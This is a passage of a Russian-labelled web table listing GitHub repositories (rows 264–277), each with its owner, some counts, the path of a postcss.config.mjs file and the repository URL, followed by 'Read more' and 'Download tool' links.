postcss.config.mjs | | https://github.com/rvmediacorp/Headshot-Portland-Official | | 264 | Sawjal-sikder/faceAi-front-end | Sawjal-sikder | Пользователь | 0 | 0 | 1 | postcss.config.mjs | | https://github.com/Sawjal-sikder/faceAi-front-end | | 265 | SanjayaPrasadRajapaksha/E-Commerce | SanjayaPrasadRajapaksha | Пользователь | 0 | 0 | 1 | postcss.config.mjs | | https://github.com/SanjayaPrasadRajapaksha/E-Commerce | | 266 | Rahulkumarhavit/multi-tenant-architecture | Rahulkumarhavit | Пользователь | 0 | 0 | 1 | postcss.config.mjs | | https://github.com/Rahulkumarhavit/multi-tenant-architecture | | 267 | Mohsin-Javed48/connectors-nextJs | Mohsin-Javed48 | Пользователь | 0 | 0 | 1 | postcss.config.mjs | | https://github.com/Mohsin-Javed48/connectors-nextJs | | 268 | Axxi3/hennery | Axxi3 | Пользователь | 0 | 0 | 1 | postcss.config.mjs | | https://github.com/Axxi3/hennery | | 269 | UzairAhmedDahraj/clickup-nextjs-demo | UzairAhmedDahraj | Пользователь | 0 | 0 | 1 | postcss.config.mjs | | https://github.com/UzairAhmedDahraj/clickup-nextjs-demo | | 270 | Mike-flowbiz/Flowbiz-backend | Mike-flowbiz | Пользователь | 0 | 0 | 1 | postcss.config.mjs | Бэкенд-API для FlowBiz – Node.js, PostgreSQL, JWT, PDF-сервис | https://github.com/Mike-flowbiz/Flowbiz-backend | | 271 | phillipshepard1/internal-re-crm | phillipshepard1 | Пользователь | 0 | 0 | 1 | postcss.config.mjs | | https://github.com/phillipshepard1/internal-re-crm | | 272 | mahadi-zulfiker/mz-events-frontend | mahadi-zulfiker | Пользователь | 0 | 0 | 1 | postcss.config.mjs | Современный, отзывчивый и многофункциональный фронтенд для платформы «События и мероприятия», построенный с использованием Next.js 14 и Tailwind CSS. Это приложение обеспечивает удобный интерфейс для пользователей, желающих открывать для себя события, для организаторов, управляющих своими списками, и для администраторов, контролирующих платформу. | https://github.com/mahadi-zulfiker/mz-events-frontend | | 273 | fareed-aslam/capitalkv | fareed-aslam | Пользователь | 0 | 0 | 1 | CapitalKV-AI-master/frontend/postcss.config.mjs | | https://github.com/fareed-aslam/capitalkv | | 274 | TimothyBabatu13/Stampchain | TimothyBabatu13 | Пользователь | 0 | 0 | 1 | stamp-chain/postcss.config.mjs | | https://github.com/TimothyBabatu13/Stampchain | | 275 | iamanaskhan10/my-portfolio-nextjs | iamanaskhan10 | Пользователь | 0 | 0 | 1 | postcss.config.mjs | | https://github.com/iamanaskhan10/my-portfolio-nextjs | | 276 | MatiasCuadra98/ai-excel | MatiasCuadra98 | Пользователь | 0 | 0 | 1 | apps/frontend/postcss.config.mjs | | https://github.com/MatiasCuadra98/ai-excel | | 277 | manuel-spec/another-portfolio | manuel-spec | Пользователь | 0 | 0 | 1 | postcss.config.mjs | | https://github.com/manuel-spec/another-portfolio |


Read more

Скачать инструмент